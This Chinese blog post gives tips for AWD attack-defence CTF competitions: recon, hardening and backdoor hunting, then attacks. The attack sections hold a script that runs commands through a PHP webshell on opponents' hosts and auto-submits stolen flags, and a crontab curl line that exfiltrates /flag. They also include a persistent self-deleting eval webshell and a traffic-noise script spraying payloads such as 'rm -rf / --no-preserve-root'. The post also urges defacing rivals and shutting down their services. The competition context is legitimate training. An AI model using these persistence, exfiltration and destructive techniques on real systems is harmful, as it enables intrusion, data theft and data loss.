跳到主要内容

AWD的一些总结

登录靶机

finallshell主机+端口登录

1717080588226

准备工作

主机探测

直接上fscan扫,主办方要是没给资产就自己动手收集,nmap也行,

namp -sn 192.168.0.0/24          #扫描C段主机存活

nmap -sV 192.168.0.2 #扫描主机系统版本
nmap -sS 192.168.0.2 #扫描主机常用端口
nmap -sS -p 80,445 192.168.0.2 #扫描主机部分端口
nmap -sS -p- 192.168.0.2 #扫描主机全部端口

看下自己机器上的日志路径

/var/log/nginx/    #默认Nginx日志目录
/var/log/apache/ #默认Apache日志目录
/var/log/apache2/ #默认Apache日志目录
/usr/local/tomcat/logs #Tomcat日志目录
tail -f xxx.log #实时刷新滚动日志文件

备份下数据拿到本地先

tar -zcvf mzy.tar.gz ./

拿下来上d盾和seay扫一下

1717081335195

防御

基础防御

记得攻击别人前先

  1. 改ssh密码(如果官方给的是一坨的密码的话就算了)
  2. 改mysql的密码
  3. 改web的密码
  4. 上文件监控脚本和waf(见末尾)

然后就是看看seay上扫描出来的漏洞挨着修复下啦,没什么好说的,不会修的话好好学web基础漏洞形成的原理吧

后门查杀

感觉自己被打了的话就上服务器查一下,下面列举几个常见的查杀命令

find /var/www/html -name *.php -mmin -20 #查看最近20分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u #寻找行数最短文件
grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html #查包含关键字的php文件

另外也可以选择再把网站打包下拿下来用D盾或者seay扫一下,

攻击

攻击无非是找漏洞,上面D盾和seay找到的漏洞都可以看下,无非是web基础的漏洞利用罢了,重点讲下AWD的自动化

全自动化

自动化利用漏洞那就是写脚本,首先我们burp装一个这个插件,不会装的CSDN搜索 burp Copy as requests

1717081997853

然后找到利用漏洞的数据包,这里举个最简单的例子也就是一句话木马,首先通过seay扫描发现incloude/shell.php为一句话木马,参数为admin_ccmd

1717082627428

访问该页面并传参,可以看到正常执行的,这个时候你就可以替换IP或者端口去其他人服务器上执行命令了,接下来需要做的就是进行自动化操作,

1717082784424

直接把这个包抓下来,,右键选择Copy as requests

1717082917989

粘贴到本地可以看到把需要填写的部分都填写好了,只需要对这个包进行一点点修改就可以实现自动化了

1717083049372

可以成功获取到flag以后,就需要顺便把tijiaoflag的操作也自动化了,过程是一样的,想省事的话就直接抓一下提交flag的包然后Copy as requests,直接贴一个最终脚本到这里,简单看下效果

import requests
import time

while (1):
for x in range(4,7,2):
burp0_url = "http://27.151.29.164:2100"+str(x)+"/include/shell.php"
burp0_cookies = {"PHPSESSID": "od8jgos0o4oioig54jkffq7nv6"}
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36", "Origin": "http://27.151.29.164:21004", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://27.151.29.164:21004/include/shell.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close"}
burp0_data = {"admin_ccmd": "system('cat /flag');"}
response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
print (response.text)

burp1_url = "http://27.151.29.164:28080/api/flag"
burp1_cookies = {"PHPSESSID": "od8jgos0o4oioig54jkffq7nv6"}
burp1_headers = {"Accept": "application/json, text/plain, */*", "Authorization": "b151002f57d876c41a043cff602fbfa5", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36", "Content-Type": "application/json;charset=UTF-8", "Origin": "http://27.151.29.164:28080", "Referer": "http://27.151.29.164:28080/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close"}
burp1_json={"flag": response.text}
response1 = requests.post(burp1_url, headers=burp1_headers, cookies=burp1_cookies, json=burp1_json)

print (response1.text)
time.sleep(300)

1717083199764

这样就是一个最基础的全自动化了

定时命令

在linux中,我们可以通过crontab命令来设计定时任务,所以我们可以来一个

(echo "*/5 * * * * curl 平台路径 -d 'flag='$(cat /flag)'&token=你的token'" )| crontab

这样的话目标机器每过五分钟就会自己交一下咱们的flag了,这个东西i有个好处就是如果他不看自己的定时任务的话用什么扫都是扫不出来的,甚至你还可以顺手把他http服务也关掉,毕竟down掉的话还会掉打分,反正咱也不依赖web服务

搅屎!

为了防止别人用我们的流量去打别人,自然是要跑一个脚本来干扰了,不然费劲巴拉的打下来机器被别人也用了不好

直接上脚本吧,之前收集的,一看就懂

import requests
import time

#制造大量垃圾流量,干扰对方选手甄别我方攻击流量
def scan_attack():
file={'shell.php','admin.php','web.php','login.php','1.php','index.php'}
payload={'cat /flag','ls -al','rm -f','echo 1','echo 1 /proc/sys/net/ipv4/ip_forward','rm -rf / --no-preserve-root'}
while(1):
for i in range(1,255):
for ii in file:
url='http://192-168-1-'+ str(i)+'.pvp2162.bugku.cn/'+ii
print(url)
for iii in payload:
data={
'payload':iii
}
try:
requests.post(url,data=data)
print("正在搅屎:"+str(i)+'|'+ii+'|'+iii)
time.sleep(0.1)
except Exception as e:
time.sleep(0.1)
pass
if __name__ == '__main__':
scan_attack()

不死马

原理

先来一个最基础的,下面这个脚本ignore_user_abort(true); 忽略与用户的断开set_time_limit(0); 设置脚本最大执行时间unlink(FILE);` 删除文件本身,然后一个while(1),就可以啦,把这个文件上传以后访问一下,就加载进内存了

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.l.php';
$code = '<?php if(md5($_GET["pass"])=="a082d2036b4963456a4275507afc7303"){@eval($_POST["a"]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .l.php');
usleep(1000);
}
?>

进阶

  1. 除了最基础的权限维持以外,我们也可以直接在不死马中加入帮我们提交flag的命令,具体可参考上面的自动化语句,换成curl来执行就可以了
  2. 既然可以执行系统命令呢,我们也可以来搅屎,比如说在他的www/html目录下替换掉index里面的内容(俗称挂黑页),也可以直接给他rm -rf掉,或者创建大量无意义的文件名来混淆

处理手段

  1. 如果你的账号权限的是root的话那就直接重启服务 ubuntu的用service,centos的用systemctl
  2. 创建一个和不死马名字一样的文件夹
  3. 条件竞争,用比他更高的频率往他的马里面塞东西
  4. 可以在当前目录新建一个文件,写上杀进程的命令,然后自己访问一下也可以清理掉不死马
<?php system("kill `ps aux | grep www-data | awk '{print $2}' | xargs kill -9`");?>

写在最后

讲这些东西的主要目的呢,是要知其所以然,不可否认有很多现成的项目和代码可以使用,但是用之前呢最好了解下学习下原理,不要养成只会拿着大佬们写的脚本和工具到处秒题的习惯,使用工具的目的节省时间提升速度,并不意味着你有一个类型的工具就可以不学习这个类型的原理和知识了,最后这里贴一些比较好的项目,自行参考下

AWD批量利用框架 https://github.com/Ares-X/AWD-Predator-Framework

河马扫描器 http://www.shellpub.com

提权脚本 https://github.com/SecWiki/linux-kernel-exploits

文件监控脚本 https://github.com/TheKingOfDuck/FileMonitor

WAF脚本参考 https://github.com/sharpleung/CTF-WAF